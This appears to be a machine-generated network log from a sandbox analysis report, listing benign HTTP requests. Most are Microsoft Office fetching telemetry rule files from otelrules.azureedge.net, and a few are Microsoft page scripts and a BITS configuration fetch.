Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
